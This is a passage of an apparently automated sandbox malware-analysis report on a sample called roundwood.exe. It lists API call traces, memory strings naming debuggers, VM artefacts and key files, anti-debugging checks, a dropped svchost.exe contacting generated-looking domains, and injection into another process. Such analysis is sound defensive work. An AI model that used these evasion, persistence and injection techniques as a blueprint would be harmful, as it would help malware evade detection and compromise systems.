Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012FCC10 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,4_2_012FCC10
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_01309460 PathFileExistsA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,4_2_01309460
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_0130D638 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,4_2_0130D638
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E4E1B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,5_2_00E4E1B0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E59460 PathFileExistsA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,5_2_00E59460
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E37400 GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,5_2_00E37400
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E4CC10 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,5_2_00E4CC10
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E5D5A0 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,5_2_00E5D5A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E5D638 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,5_2_00E5D638
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_001F6B1C FindFirstFileExW,8_2_001F6B1C
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E8E1B0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,8_2_00E8E1B0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E99460 OpenMutexA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,8_2_00E99460
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E77400 OpenMutexA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,8_2_00E77400
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E8CC10 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,FindNextFileA,SetErrorMode,8_2_00E8CC10
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E9D5A0 memset,memset,SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,lstrlenW,WideCharToMultiByte,lstrlenW,memcpy,lstrlenW,WideCharToMultiByte,lstrlenW,WideCharToMultiByte,FindNextFileW,FindClose,8_2_00E9D5A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E9D638 SHGetSpecialFolderPathA,strchr,MultiByteToWideChar,FindFirstFileW,8_2_00E9D638
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D1D060 StrStrIA,memset,memset,SetErrorMode,SetErrorMode,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,GetFileAttributesA,PathAddBackslashA,CreateDirectoryA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,CopyFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,PathAddBackslashA,SetErrorMode,2_2_02D1D060
Source: C:\Windows\apppatch\svchost.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000002.2502168671.0000000002900000.00000040.00000001.00020000.00000000.sdmpBinary or memory string: vname.key\secrets.keysign.keyjava.exekernel32.dllCreateFileW\explorer.exeGetFileAttributesWuser32.dllGetWindowTextAOLLYDBGwireshark.exedumpcap.exeidag.exevmwaretray.exe\\?\globalroot\systemroot\system32\vmx_fb.dllABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000002.2502168671.0000000002900000.00000040.00000001.00020000.00000000.sdmpBinary or memory string: vmwaretray.exe
Source: svchost.exe, 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: NOLLYDBGwireshark.exedumpcap.exeidag.exevmwaretray.exe\\?\globalroot\systemroot\system32\vmx_fb.dllSystemDrivesoftware\microsoft\windows nt\currentversion\winlogon%xsoftware\microsoft\windows\currentversion\runuserinit\\?\globalroot\systemroot\system32\drivers\ntfs.sysntdll.dllRtlUniformkernel32.dllIsWow64Processkernel.dlla
Source: svchost.exe, 00000002.00000002.3271041990.000000000084E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW(|
Source: svchost.exe, 00000002.00000002.3272499451.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2747965749.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000008.00000002.2747965749.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3272131517.0000017E5BADA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000E.00000002.3273476779.0000017E5CA68000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMWare
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000026.00000002.2502070915.0000000002760000.00000040.00000001.00020000.00000000.sdmpBinary or memory string: name.key\secrets.keysign.keyjava.exekernel32.dllCreateFileW\explorer.exeGetFileAttributesWuser32.dllGetWindowTextAOLLYDBGwireshark.exedumpcap.exeidag.exevmwaretray.exe\\?\globalroot\systemroot\system32\vmx_fb.dllABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Source: svchost.exe, 00000002.00000002.3271632559.00000000008A1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: MSAFD RfComm [Bluetooth]Hyper-V RAW
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.00000000011C5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW"u]
Source: oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000005.00000002.2689193380.0000000000BA8000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000C.00000002.2699960062.0000000001273000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000000F.00000002.2451190552.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000015.00000002.2457792742.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000017.00000002.2468559025.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000019.00000002.2472738234.0000000000948000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001B.00000002.2474533950.0000000000F77000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 0000001F.00000002.2483788399.0000000000942000.00000004.00000020.00020000.00000000.sdmp, oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000022.00000002.2487076508.0000000000DD3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\roundwood.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeOpen window title or class name: ollydbg
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess queried: DebugPort
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00401DE0 rdtsc 0_2_00401DE0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012F7430 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,4_2_012F7430
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00401000 IsDebuggerPresent,FindWindowA,memset,CreateToolhelp32Snapshot,Process32First,StrStrIA,Process32Next,StrStrIA,Process32Next,GetHandleInformation,FindCloseChangeNotification,PathFileExistsA,0_2_00401000
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D17300 CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle,2_2_02D17300
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004020C0 memset,SHGetFolderPathA,PathAppendA,SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,0_2_004020C0
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00406800 mov eax, dword ptr fs:[00000030h]0_2_00406800
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_00406B60 mov edx, dword ptr fs:[00000030h]0_2_00406B60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00406800 mov eax, dword ptr fs:[00000030h]2_2_00406800
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00406B60 mov edx, dword ptr fs:[00000030h]2_2_00406B60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_028C1360 mov edx, dword ptr fs:[00000030h]2_2_028C1360
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_028C1000 mov eax, dword ptr fs:[00000030h]2_2_028C1000
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_01241360 mov edx, dword ptr fs:[00000030h]4_2_01241360
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_01241000 mov eax, dword ptr fs:[00000030h]4_2_01241000
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00DD1360 mov edx, dword ptr fs:[00000030h]5_2_00DD1360
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00DD1000 mov eax, dword ptr fs:[00000030h]5_2_00DD1000
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C51360 mov edx, dword ptr fs:[00000030h]8_2_00C51360
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00C51000 mov eax, dword ptr fs:[00000030h]8_2_00C51000
Source: C:\Users\user\Desktop\roundwood.exeCode function: 0_2_004028B0 IsUserAnAdmin,VirtualQuery,GetModuleFileNameA,PathFileExistsA,GetSystemWindowsDirectoryA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,_snprintf,CopyFileA,RtlImageNtHeader,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,MoveFileExA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GlobalFindAtomA,ExitProcess,GlobalAddAtomA,0_2_004028B0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_001F5CDB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_001F5CDB
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_001F14C3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,8_2_001F14C3
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_001F194F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_001F194F
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_001F1AE2 SetUnhandledExceptionFilter,8_2_001F1AE2

HIPS / PFW / Operating System Protection Evasion

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\apppatch\svchost.exeDomain query: lysyvan.com
Source: C:\Windows\apppatch\svchost.exeDomain query: puzymig.com
Source: C:\Windows\apppatch\svchost.exeDomain query: vocydof.com
Source: C:\Windows\apppatch\svchost.exeDomain query: lyrysyj.com
Source: C:\Windows\apppatch\svchost.exeDomain query: volymaf.com
Source: C:\Windows\System32\svchost.exeDomain query: qexylup.com
Source: C:\Windows\System32\svchost.exeDomain query: qetysuq.com
Source: C:\Windows\apppatch\svchost.exeDomain query: lyvytuj.com
Allocates memory in foreign processes
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 1240000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: DD0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: C50000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 1410000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 900000 protect: page execute and read and writeJump to behavior
